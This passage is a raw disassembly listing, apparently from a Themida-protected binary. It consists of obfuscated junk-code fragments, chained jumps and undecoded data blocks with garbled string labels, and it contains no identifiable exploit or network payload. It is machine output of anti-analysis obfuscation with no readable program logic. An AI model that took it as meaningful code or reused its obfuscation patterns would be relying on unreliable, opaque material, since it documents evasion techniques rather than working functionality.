		dd 0D5F7EB87h, 9EE9EB87h, 0B9FFFFF9h, 2E982FFFh, 4106E1C1h
		dd 0FFA545E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559E8D:				; CODE XREF: Themida_:00566FE1j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5576E3
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 0AD0Ah
; ---------------------------------------------------------------------------


loc_559EA0:				; CODE XREF: Themida_:0055E89Bj
		add	esi, 4
		push	edx
		mov	edx, 4
		jmp	loc_55739A
; ---------------------------------------------------------------------------


loc_559EB1:				; CODE XREF: Themida_:0055B02Fj
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55F393
; ---------------------------------------------------------------------------
		dd 4C181h, 4AE90000h
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_559EC7:				; CODE XREF: Themida_:00559622j
		sub	ecx, 0C8CA5FE7h
		mov	ebx, ecx
		pop	ecx
		sub	ebx, esi
		push	ebx
		add	dword ptr [esp], 9B83197h
		pop	esi
		sub	esi, 9B83197h
		jmp	loc_56331E
; ---------------------------------------------------------------------------
		dw 875Ch
		dd 895C241Ch, 52BA2414h, 55558B72h, 6C2817BDh, 5DEF2911h
		dd 0FFE15CE9h, 4EC83FFh, 51241489h, 0E9C0A0B1h,	0DCE98005h
		dd 0C09BE980h, 0C18005E9h, 0DA2BE930h, 0F4800000h, 9EC80DCh
		dd 8058E328h, 54E991EBh, 0E90000CFh, 0FFFF8C87h
dword_559F34	dd 12B551ACh, 0C016B450h, 0E48005E4h, 0D0DBE9DFh, 1C890000h
					; DATA XREF: Themida_:00552ABCo
		dd 6E1BBB24h, 0E3815797h, 69FC680Dh, 0E9D3F74Bh, 0FFFFCF22h
; ---------------------------------------------------------------------------


loc_559F5C:				; CODE XREF: Themida_:0055585Aj
		mov	edi, [esp]
		add	esp, 4
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_55927F
; ---------------------------------------------------------------------------


loc_559F77:				; CODE XREF: Themida_:005667F6j
		add	ebx, 40B70AF3h
		jmp	loc_565AFB
; ---------------------------------------------------------------------------


loc_559F82:				; CODE XREF: Themida_:005598A6j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5630E0
; ---------------------------------------------------------------------------
		db 0BBh
		dd 22472E64h, 2E17BE56h, 0F6816A8Dh, 1B593E94h,	56BAE9h
		db 0
; ---------------------------------------------------------------------------


loc_559FA1:				; CODE XREF: Themida_:0055A393j
		add	ebx, 4
		push	esi
		push	4
		pop	esi
		jmp	loc_5635C8
; ---------------------------------------------------------------------------
		db 2Dh
		dd 384D781Ch, 0D1E9C801h, 0C10000C3h, 0D5F706E5h, 7E79ED81h
		dd 5EE9A7B2h, 29000013h, 25F9E9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559FD6:				; CODE XREF: Themida_:00556BB5j
		sub	ebx, 5C35684Fh
		mov	edi, [esp]
		add	esp, 4
		mov	dx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_565726
; ---------------------------------------------------------------------------


loc_559FFF:				; CODE XREF: Themida_:0056383Aj
		push	ecx
		xor	dword ptr [esp], 2A730A3Eh
		pop	dword ptr [edi+24h]
		push	ebx
		mov	ebx, 24h
		add	ebx, edi
		xor	dword ptr [ebx], 2A730A3Eh
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	edx, edx
		push	7D13h
		mov	[esp], ebx
		push	83Bh
		mov	[esp], ecx
		mov	ecx, 258C4003h
		jmp	loc_5669F5
; ---------------------------------------------------------------------------
		db 29h
		dd 81042474h, 0AC042444h, 0E941D51Ch, 60C7h
aM0H?		db '╛0ьh?,',0           ; DATA XREF: Themida_:00552B08o
		align 4
		dd 0B2241489h, 0B3535084h, 0E9D888DCh, 80ACh
; ---------------------------------------------------------------------------


loc_55A068:				; CODE XREF: Themida_:0055A083j
		add	eax, ebp
		jmp	loc_55640C
; ---------------------------------------------------------------------------


loc_55A06F:				; CODE XREF: Themida_:0056478Fj
		add	esp, 4
		xor	ebp, 4CBB1536h
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 17FB28A4h
		jmp	loc_55A068
; ---------------------------------------------------------------------------
		dd 88515066h, 59C888F1h, 0C688D0F6h, 39E95866h,	500001Bh
		dd 53D028D3h, 0D32DF001h, 553D028h, 120559FDh, 58C7015Eh
		dd 665FF831h, 5600B60Fh, 45AA68h, 24248900h, 4240483h
		dd 4BB535Eh, 1000000h, 2B685BDEh, 89000007h, 47E9240Ch
		dd 8100008Ch, 146D50C1h, 242C8B29h, 8904EC83h, 5EE9241Ch
		db 0F6h, 2 dup(0FFh)
byte_55A0EF	db 0FFh			; DATA XREF: Themida_:0055299Co
a4Snz		db '4$ИN┤',0
		dw 5000h
		dd 0FFB177E9h, 5FFE89FFh, 295EF029h, 1F3705E8h,	8B5D642Eh
		dd 0C483242Ch, 4139E904h, 0BD550000h, 0AD320D7h, 2C8BEE29h
		dd 4C48324h, 2C31E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A129:				; CODE XREF: Themida_:00566B5Dj
		pop	ecx
		jmp	loc_55C3E1
; ---------------------------------------------------------------------------
		db 31h
		dd 1055EF0h, 0F7000000h, 32C625D8h, 0E8C13DADh,	32CA6802h
		dd 0FEE90000h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A14B:				; CODE XREF: Themida_:00566F72j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebp
		push	6B8Ch
		mov	[esp], ebx
		push	1
		mov	ebx, [esp]
		jmp	loc_565221
; ---------------------------------------------------------------------------
		db 81h
		dd 6BB162EDh, 5DEF29F6h, 121DCF81h, 58E93FE5h, 31FFFFBAh
		dd 1C33241Ch, 0CD5DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A19E:				; CODE XREF: Themida_:0055CF98j
		pop	eax
		shr	ecx, 2
		push	2180h
		mov	[esp], ebx
		jmp	loc_559174
; ---------------------------------------------------------------------------


loc_55A1AF:				; CODE XREF: Themida_:00562AA7j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	esi
		sub	dword ptr [esp+4], 151E4D03h
		add	[esp+4], eax
		push	ebx
		push	ecx
		mov	ecx, 151E4D03h
		jmp	loc_557E2A
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4E965F02h, 0AE9DE9h,	3D616800h, 0C890000h, 4B924h, 0C5810000h
		dd 69C73022h, 5657CD01h, 5B12A8BEh, 35B85000h, 0E9050174h
		dd 0AC56h, 6857EDD1h, 142D89h, 0EBC5815Fh, 29219253h, 0EBB951FDh
		dd 29219253h, 73E959CDh
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A22B:				; CODE XREF: Themida_:0055DDFAj
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_5656CC
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24248900h, 4240481h, 8B000000h, 0C483240Ch, 0CD4FE904h
		dd 0D101FFFFh, 4C1835Ah, 31240C33h, 0C33240Ch, 0C9095C24h
		dd 0E86C840Fh, 0EC83FFFFh, 243C8904h, 9268E789h, 0E900005Bh
		dd 2ED9h
; ---------------------------------------------------------------------------


loc_55A27C:				; CODE XREF: Themida_:00561353j
		dec	ch
		xor	ch, 0B1h
		shl	ch, 2
		jmp	loc_5584D7
; ---------------------------------------------------------------------------


loc_55A289:				; CODE XREF: Themida_:00553043j
		sub	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_565F9C
; ---------------------------------------------------------------------------
		dd 0D0E95250h, 8FFFFFF7h, 248B2404h, 68E9F724h,	753Eh
		dd 68240489h, 52BBh, 24048F54h,	4240483h, 0B7B4E958h, 0C288FFFFh
		dd 885AD188h, 0F65B66F8h, 30C830D1h, 4C830C1h, 812C0401h
		dd 4ECh, 241C8900h, 81C28852h, 4ECh, 24048900h,	0C788D088h
		dd 88505A58h, 0E9E288FCh, 0FFFFAF05h, 54243489h, 5024348Bh
		dd 405E089h, 5000000h, 4, 5C240487h, 8904EC83h,	34BB241Ch
		dd 8700D773h, 87DAF7D3h, 68D3h,	0BD550000h, 2AB53B0Ah
		dd 4246C01h, 0EAD6E95Dh, 814DFFFFh, 25511FEDh, 1CB85009h
		dd 31E6E77Bh, 24048BC5h, 81E28952h, 4C2h, 4C28300h, 5C241487h
		dd 295DEE89h, 0C7815BDEh, 4BE24F03h, 0EF81F701h, 4BE24F03h
		dd 8324348Bh, 0ACE904C4h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A37B:				; CODE XREF: Themida_:0055F75Bj
		mov	[esp], edi
		mov	edi, 9DF3E64h
		xor	eax, edi
		pop	edi
		add	esi, eax
		pop	eax
		push	27D2h
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_559FA1
; ---------------------------------------------------------------------------
		dd 30BDC181h, 0E98139ACh, 66BF50F1h, 67A8C181h,	0F1016E0Fh
		dd 67A8E981h, 0C1816E0Fh, 66BF50F1h, 30BDE981h,	0BA5239ACh
		dd 27DE776Dh, 0FF5AD101h, 34FF2434h, 0E9575E24h, 0FFFFAE72h
; ---------------------------------------------------------------------------


loc_55A3D4:				; CODE XREF: Themida_:00553F29j
		mov	ebx, 48CF1EC0h
		xor	ebx, 5B1256F1h
		jmp	loc_564F3E
; ---------------------------------------------------------------------------
aPirsxm		db 'P┴ЮИЕ▄',0
		align 4
		dd 3345C005h, 2FF30579h, 0E8011D2Dh, 2D2FF32Dh,	45C02D1Dh
		dd 0FAE97933h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A407:				; CODE XREF: Themida_:0055827Ej
		mov	[esp], eax
		mov	eax, 128F2FCEh
		xor	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 3C7865EDh
		and	ecx, 7E322026h
		and	ecx, 592F122Fh
		shl	ecx, 7
		inc	ecx
		push	edx
		push	2EBB7B2Ah
		mov	edx, [esp]
		push	ecx
		push	esp
		jmp	loc_5638F6
; ---------------------------------------------------------------------------
		db 0C1h, 0E6h, 8
		dd 6FCFBF57h, 0BE560B84h, 745073D2h, 348BF701h,	4C48324h
		dd 2265E952h, 0C4830000h, 0B5E98104h, 1027171h,	0B5C181E9h
		dd 5D027171h, 61BA5255h, 0BD1FAD28h, 1FAD2863h,	7444E9h
		dd 243C2900h, 0E9574F5Fh, 0FFFFF6BAh, 0BEE9525Eh
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A49B:				; CODE XREF: Themida_:00555F82j
		add	ebp, 0B333AE6h
		jmp	loc_55C593
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0AE7B924h, 0D1F72546h, 2455E949h, 0E7C10000h, 0FEC78104h
		dd 894D9CEDh, 0D386E9FEh, 0ABFFFFFh, 0F7176712h, 0E7C147D7h
		dd 1FEF8103h, 10C62F4h,	0E9575FF9h, 9407h, 0CE1A15BFh
		dd 0BFE94751h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A4EB:				; CODE XREF: Themida_:0055C3F6j
		pop	ecx
		push	ebx
		push	ebp
		jmp	loc_5585F3
; ---------------------------------------------------------------------------


loc_55A4F3:				; CODE XREF: Themida_:0055C6C0j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5629AB
; ---------------------------------------------------------------------------
aOxmc1Xskl	db '╦oЕ▄c1гXИ╙l',0
		dd 88505800h, 58E788F4h, 88CFFE5Ah, 0C05B66F9h,	0E98004E1h
		dd 4EC83DAh, 88241489h,	5AF388CEh, 0B6526659h, 66F0282Fh
		dd 8324148Bh, 0D82802C4h, 464DE9h, 0D3665C00h, 0E99C2424h
		dd 30D4h, 57241C89h, 377AB168h,	243C8B2Ch, 8119E953h, 0FB890000h
		dd 0FF9561E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A565:				; CODE XREF: Themida_:00562AAFj
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55E9AB
; ---------------------------------------------------------------------------
		dd 5D2434FFh, 5E08950h,	4, 8704C083h, 9CE92404h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A58B:				; CODE XREF: Themida_:00554426j
		xchg	ecx, [esp]
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5647B2
; ---------------------------------------------------------------------------


loc_55A59D:				; CODE XREF: Themida_:005555ECj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		push	ebp
		push	edi
		mov	edi, 1E0A6F89h
		mov	ebp, edi
		pop	edi
		push	edi
		mov	edi, 3E835FB7h
		inc	edi
		and	edi, 3FA557D3h
		not	edi
		jmp	loc_5576C0
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0B15106E0h, 59C82872h, 1FB968h, 24148900h, 860AE9h
		dd 5BDE0100h, 2BB53h, 0DE290000h, 694EE95Bh, 0BF570000h
		dd 11171742h, 0FFE601E9h, 41E95DFFh, 89FFFFF7h,	0B9682414h
		dd 89000012h, 148B2404h, 80685524h, 5400002Eh, 0E924048Fh
		dd 48CFh
; ---------------------------------------------------------------------------


loc_55A618:				; CODE XREF: Themida_:00561D55j
		sub	ebp, 41E2CB3h
		or	ecx, ebp
		pop	ebp
		xor	ecx, 23FE1187h
		xor	ecx, 1E166F6h
		jmp	loc_5594EE
; ---------------------------------------------------------------------------


loc_55A632:				; CODE XREF: Themida_:00561E71j
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, 4
		jmp	loc_562AAC
; ---------------------------------------------------------------------------


loc_55A643:				; CODE XREF: Themida_:005598F9j
		sub	ebx, 7F3179EAh
		jmp	loc_558D93
; ---------------------------------------------------------------------------


loc_55A64E:				; CODE XREF: Themida_:00561CB1j
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5680ED
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 0CFC4E903h, 0BB530000h, 53A104BAh, 6198E9h, 81F50100h
		dd 783818EDh, 8A0FE918h, 505D0000h, 4B8h, 58C20100h, 31241433h
		dd 14332414h, 88BDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A69A:				; CODE XREF: Themida_:0056203Aj
		add	eax, 29912E4h
		add	eax, 3B31A58h
		pop	edi
		xchg	eax, [esp]
		pop	esp
		add	ebx, eax
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		idiv	ecx
		push	276Dh
		jmp	loc_55B4EE
; ---------------------------------------------------------------------------


loc_55A6C4:				; CODE XREF: Themida_:0055798Dj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	7571h
		mov	[esp], esi
		push	edi
		mov	edi, 5D821A7Eh
		mov	esi, 0A27DE586h
		add	esi, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5566DD
; ---------------------------------------------------------------------------


loc_55A6F4:				; CODE XREF: Themida_:00558859j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55B08E
; ---------------------------------------------------------------------------


loc_55A6FD:				; CODE XREF: Themida_:00565DFDj
		mov	[esp], edi
		mov	edi, 14A4949h
		push	esi
		mov	esi, 0FBCF10D6h
		jmp	loc_553C67
; ---------------------------------------------------------------------------


loc_55A710:				; CODE XREF: Themida_:00559784j
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_557F53
; ---------------------------------------------------------------------------


loc_55A721:				; CODE XREF: Themida_:00561A0Dj
		mov	[esp], ecx
		push	1E00h
		mov	[esp], edx
		push	6B5Eh
		mov	[esp], ebx
		push	ecx
		mov	ecx, esp
		jmp	loc_567B2A
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 0FFFFC5A6h
; ---------------------------------------------------------------------------


loc_55A744:				; CODE XREF: Themida_:00552DF2j
		xor	esi, 7DF92716h
		jmp	loc_55EBF1
; ---------------------------------------------------------------------------
		db 83h
		dd 2C3302C5h, 242C3124h, 0E9242C33h, 4771h, 0FFFFED81h
		dd 0E945FFFFh, 5B97h, 529B2BBh,	0D3F74B5Fh, 6F3814Bh, 0E960A53Fh
		dd 4BD8h
; ---------------------------------------------------------------------------


loc_55A780:				; CODE XREF: Themida_:0055D6F7j
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	eax, 0F10B08A2h
		mov	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		neg	esi
		push	1CBFh
		mov	[esp], eax
		push	239Fh
		jmp	loc_55AA91
; ---------------------------------------------------------------------------
		dw 34FFh
aYritusN	db '$YR┴БUИ╫n',0
		dw 8100h
		dd 4C5h, 242C8700h, 28FB045Ch, 0FFFB2CF0h, 575A2434h, 0BD555F54h
		dd 74457E3Ah, 6C82C581h, 0D5F7682Fh, 0C1454545h, 46E904EDh
		dd 8B000082h, 3CD22424h, 0C4E99C24h, 89FFFF83h,	0B4BF243Ch
		dd 0E9090B7Ah, 7C29h, 0EB81595Dh, 53B021ECh, 0C381EB01h
		dd 53B021ECh, 0FFD326E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A819:				; CODE XREF: Themida_:00566FA5j
		mov	[esp], ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55E8F1
; ---------------------------------------------------------------------------
		dd 4E87F581h, 0EA01089Ch, 55A9E95Dh, 0C6810000h, 1903463Ah
		dd 1FF5EE81h, 0C6013CC8h, 3F4BBB53h, 8143440Bh,	0D46698CBh
		dd 29F38134h, 50481760h, 1D28E9h, 8355E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A866:				; CODE XREF: Themida_:005553E3j
		pop	esp
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_552BBB
; ---------------------------------------------------------------------------


loc_55A870:				; CODE XREF: Themida_:0055C373j
		add	ebx, ecx
		jmp	loc_553B08
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0B778E955h, 0EA81FFFFh, 46F57ECAh, 0C281CA29h, 46F57ECAh
		dd 0C1DAF759h, 0C28105E2h, 7329274Eh, 85FDE942h, 0FF53FFFFh
		dd 0E9042474h, 597Bh, 5CB668h, 24248900h, 4BB53h, 5C010000h
		dd 1C8B0424h, 4C48124h,	8B000000h, 0C481241Ch, 4, 4C381h
		dd 0F8E90000h, 89000008h, 1368241Ch, 89000067h,	0CDBD242Ch
		dd 0C149A13Ch, 0E58104E5h, 586D446Dh, 6997CD81h, 0E950533Dh
		dd 0FFFFD810h, 4957F681h, 0EEC1280Ah, 16EE8105h, 0E9018072h
		dd 0EB4h
; ---------------------------------------------------------------------------


loc_55A910:				; CODE XREF: Themida_:00554D88j
		mov	esi, 7DD1138Ch
		add	edx, esi
		pop	esi
		not	edx
		inc	edx
		jmp	loc_5558CC
; ---------------------------------------------------------------------------
		dd 0C4BF5756h, 0BE365F1Bh, 1A377E75h, 8106EEC1h, 9437EEC6h
		dd 2CE6812Eh, 8102336Fh, 206C3CEh, 4C6E903h, 0D3010000h
		dd 0FFC386E9h, 4C481FFh, 58000000h, 34B56853h, 14890000h
		dd 587FBA24h, 81427E5Fh, 8CEC3DC2h, 0FFD3898Fh,	148B2434h
		dd 4C48324h, 4C481h, 22E90000h,	0F7FFFFDCh, 4BED81DDh
		dd 811D8F43h, 0AF117BF5h, 4F58127h, 89E4D657h, 7B6AE9EEh
		dd 0D1310000h, 801FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A9A1:				; CODE XREF: Themida_:00553AA8j
		mov	[esp], ebp
		jmp	loc_555A32
; ---------------------------------------------------------------------------
		db 68h,	0CEh, 31h
		dd 1C890000h, 5D54BB24h, 6855D0h, 68000000h, 0E4Bh, 0E9240489h
		dd 0FFFFD903h, 380CEE81h, 0C681478Ch, 6FAA41B3h, 0F2E9F389h
		dd 2DFFFFD5h, 44BA5586h, 0E902F42Dh, 5EEE055Eh,	63E909F4h
		dd 51FFFFD0h, 0EC88A5B5h, 51665059h, 0EC88D4B5h, 0EC805966h
		dd 0CFB551CBh, 9005E9h,	7BF6600h, 0FE09663Ch, 0EC815F66h
		dd 2, 47F0E9h, 59980400h, 0B551D828h, 58B05003h, 0C8FE1524h
		dd 0CA45E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AA31:				; CODE XREF: Themida_:0056199Aj
		pop	ebx
		push	edi
		push	edx
		jmp	loc_55AF97
; ---------------------------------------------------------------------------


loc_55AA39:				; CODE XREF: Themida_:00559411j
		xchg	esi, edx
		xchg	edx, esi
		or	esi, 431024D8h
		add	esi, 597F25F5h
		sub	ebx, 704D52FFh
		sub	ebx, esi
		push	eax
		jmp	loc_55CAC5
; ---------------------------------------------------------------------------
aZkbNltrqs	db '!сZK│цnlTrQИ-л',0
		dw 0C000h
		dd 0EBC006E3h, 60CB8007h, 0ACC380h, 4866E9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AA7A:				; CODE XREF: Themida_:00557A1Aj
		not	dword ptr [esp]
		pop	eax
		not	eax
		sub	eax, 6E21B7D9h
		jmp	loc_565066
; ---------------------------------------------------------------------------


loc_55AA8A:				; CODE XREF: Themida_:0055E1FAj
		pop	ebx
		push	ebx
		jmp	loc_558410
; ---------------------------------------------------------------------------


loc_55AA91:				; CODE XREF: Themida_:0055A7A9j
		mov	[esp], ebx
		push	67Dh
		mov	[esp], ebp
		push	722C0104h
		jmp	loc_555E63
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 9EE95155h, 66FFFFE4h, 0E906E2C1h, 0FFFF88B7h, 0ED05F001h
		dd 578E50Bh, 5536565Eh,	0BE685356h, 5B5C0F3Ch, 8108EBC1h
		dd 6E9D1DEBh, 5BDE89F6h, 5E5EF001h, 238CE9h
		db 0
byte_55AAE1	db 81h,	0ECh, 4		; DATA XREF: Themida_:00552B64o
		dd 89000000h, 0B368241Ch, 0E9000001h, 7EBDh, 8324348Bh
		dd 7DE904C4h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55AAFF:				; CODE XREF: Themida_:00557E40j
		push	277h
		mov	[esp], esi
		jmp	loc_55CD89
; ---------------------------------------------------------------------------
aA0Z		db '─Йв0яZ',0
aY6s9c		db 'хY(х,6И9√',0
		align 2
		dw 595Dh
		dd 0CD87D1F7h, 0FFBFABE9h, 4B951FFh, 1000000h, 0FF5059C8h
		dd 0FF042474h, 68582434h, 551Eh, 89241C89h, 4C381E3h, 83000000h
		dd 1C8704C3h, 786BE924h, 0CB300000h, 0FE08E3C0h, 77EB80CBh
		dd 1C8BD800h, 4C48324h,	882CF028h, 59C1E9h, 24348900h
		dd 0FFBA86E9h, 59C801FFh, 0BD6BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55AB81:				; CODE XREF: Themida_:00564C57j
		push	edi
		mov	edi, 27C1523h
		sub	ebx, 722F2E92h
		sub	ebx, edi
		push	ebp
		push	esi
		mov	esi, 722F2E92h
		mov	ebp, esi
		pop	esi
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	edi
		add	ebx, eax
		add	ebx, 27C1523h
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]


loc_55ABBA:				; CODE XREF: Themida_:00563FFEj
		push	58F1h
		mov	[esp], ebx
		sub	dword ptr [esp], 1412413Bh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_559D19
; ---------------------------------------------------------------------------
		db 55h
		dd 911097BDh, 0C1D5F777h, 0F58108E5h, 2C0C324Ch, 0E6F7ED81h
		dd 0EA89E46Bh, 8BD0015Dh, 0C4812414h, 4, 81242C8Bh, 4C4h
		dd 9652E900h, 3C89FFFFh, 6FD1BF24h, 0CF8119C8h,	16E2935h
		dd 82AF781h, 0BE5642B8h, 58EC4231h, 62B8E950h
		db 2 dup(0)
word_55AC2A	dw 8B66h		; DATA XREF: Themida_:005529A4o
		dd 0E955240Ch, 0FFFFB3AEh, 31240C33h, 0C33240Ch, 4875C24h
		dd 74E95C24h, 59FFFF7Fh, 0BF34E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AC4D:				; CODE XREF: Themida_:0055B58Bj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		not	ebp
		inc	ebp
		jmp	loc_560453
; ---------------------------------------------------------------------------


loc_55AC5C:				; CODE XREF: Themida_:0055E292j
		sub	ebp, 3BBD36DEh
		jmp	loc_55F418
; ---------------------------------------------------------------------------


loc_55AC67:				; CODE XREF: Themida_:00553C9Dj
		dec	ebx
		dec	ebx
		dec	ebx
		xor	ebx, 9F969BEh
		jmp	loc_558CBF
; ---------------------------------------------------------------------------
		db 0B9h, 46h, 0B5h
		dd 0CD299E44h, 93E5E959h, 0B951FFFFh, 4, 386CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55AC8D:				; CODE XREF: Themida_:00553811j
		shl	edi, 3
		push	ebx
		push	eax
		jmp	loc_5622BC
; ---------------------------------------------------------------------------
		db 89h
		dd 6EE92404h, 54FFFF95h, 83242C8Bh, 0DF6804C4h,	8900007Bh
		dd 23BB241Ch, 0C1032256h, 0EB8102EBh, 29386CE6h, 0C78C381h
		dd 0C3813C57h, 0EC18CAEAh, 67E7B850h, 0E4E9517Bh, 52FFFF8Bh
		dd 8B078EBAh, 0C075E96Fh, 0EE010000h, 5DD8E9h, 5D02900h
		dd 10CF7C30h, 24348B5Ah, 0C216E9h
		db 0
; ---------------------------------------------------------------------------


loc_55ACF5:				; CODE XREF: Themida_:005652B3j
		push	ecx
		jmp	loc_55E1CC
; ---------------------------------------------------------------------------


loc_55ACFB:				; CODE XREF: Themida_:0056708Bj
		xor	edx, 3CB81E96h
		shl	edx, 1
		or	edx, 5DE52447h
		inc	edx
		xor	edx, 0ABD6E9Bh
		add	edx, 91BE8879h
		xor	esi, edx
		pop	edx
		and	edx, esi
		pop	esi
		not	edx
		push	eax
		mov	eax, 2D413B66h
		shr	eax, 1
		add	eax, 39A23663h
		add	edx, eax
		jmp	loc_558446
; ---------------------------------------------------------------------------
word_55AD32	dw 8B66h		; DATA XREF: Themida_:00552A94o
		dd 9AE9240Ch
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AD3B:				; CODE XREF: Themida_:0055DF3Dj
		xor	esi, 54B7A9Eh
		mov	ecx, esi
		pop	esi
		not	ecx
		jmp	loc_5543C0
; ---------------------------------------------------------------------------


loc_55AD4B:				; CODE XREF: Themida_:00552E3Ej
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_561C4D
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		jmp	loc_55547E
; ---------------------------------------------------------------------------
		dd 0C07FB551h, 0F65104E5h, 5901245Ch, 8904EC83h, 8B42404h
		dd 0E908ECC0h, 0FFFF98B7h, 0D09CF81h, 0E9503980h, 0FFFF91B0h
		dd 77FDEE81h, 0F68127D0h, 192A4499h, 0C07AF681h, 0B951B2AFh
		dd 5FB051B9h, 8159CE01h, 0A41D16E6h, 0C6814E79h, 0ADBBFDA5h
		dd 295EF001h, 9D77E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55ADC6:				; CODE XREF: Themida_:005636EFj
		inc	ebx
		jmp	loc_566177
; ---------------------------------------------------------------------------
		dd 0D2F7D687h, 0F681D687h, 56DF1086h, 44AEE681h, 0B951313Fh
		dd 20E84744h, 3FC7F181h, 0CE0122E5h, 0BA5259h, 29000000h
		dd 31D631F2h, 0CCA1E9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55ADFE:				; CODE XREF: Themida_:00558505j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5640E7
; ---------------------------------------------------------------------------
		dd 126B68h, 4415E900h, 248B0000h, 24040124h, 4486E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AE22:				; CODE XREF: Themida_:00557F44j
		xor	edi, 541B0FF4h
		jmp	loc_55F1A8
; ---------------------------------------------------------------------------


loc_55AE2D:				; CODE XREF: Themida_:005596D7j
		push	ebx
		mov	ebx, esp
		jmp	loc_55885E
; ---------------------------------------------------------------------------


loc_55AE35:				; CODE XREF: Themida_:005642FFj
		pop	esi
		push	ebp
		mov	ebp, 6032901h
		neg	ebp
		jmp	loc_55B014
; ---------------------------------------------------------------------------
		db 68h
		dd 66D7h, 88240489h, 0FFE188D4h, 48B2434h, 0E1895124h
		dd 4C181h, 0E9830000h, 240C8704h, 242C895Ch, 0C581E589h
		dd 4, 7214BA52h, 0DAF712F2h, 989EE9h, 24048700h, 2404895Ch
		dd 4EC81h, 3C890000h, 3479BF24h, 0C14F2BB5h, 0BD5502E7h
		dd 55112DC1h, 8103EDC1h, 0CD53D7EDh, 5DEF315Bh,	0E95FF889h
		dd 0FFFFD2A9h
; ---------------------------------------------------------------------------


loc_55AEB0:				; CODE XREF: Themida_:0055B65Cj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5582B1
; ---------------------------------------------------------------------------
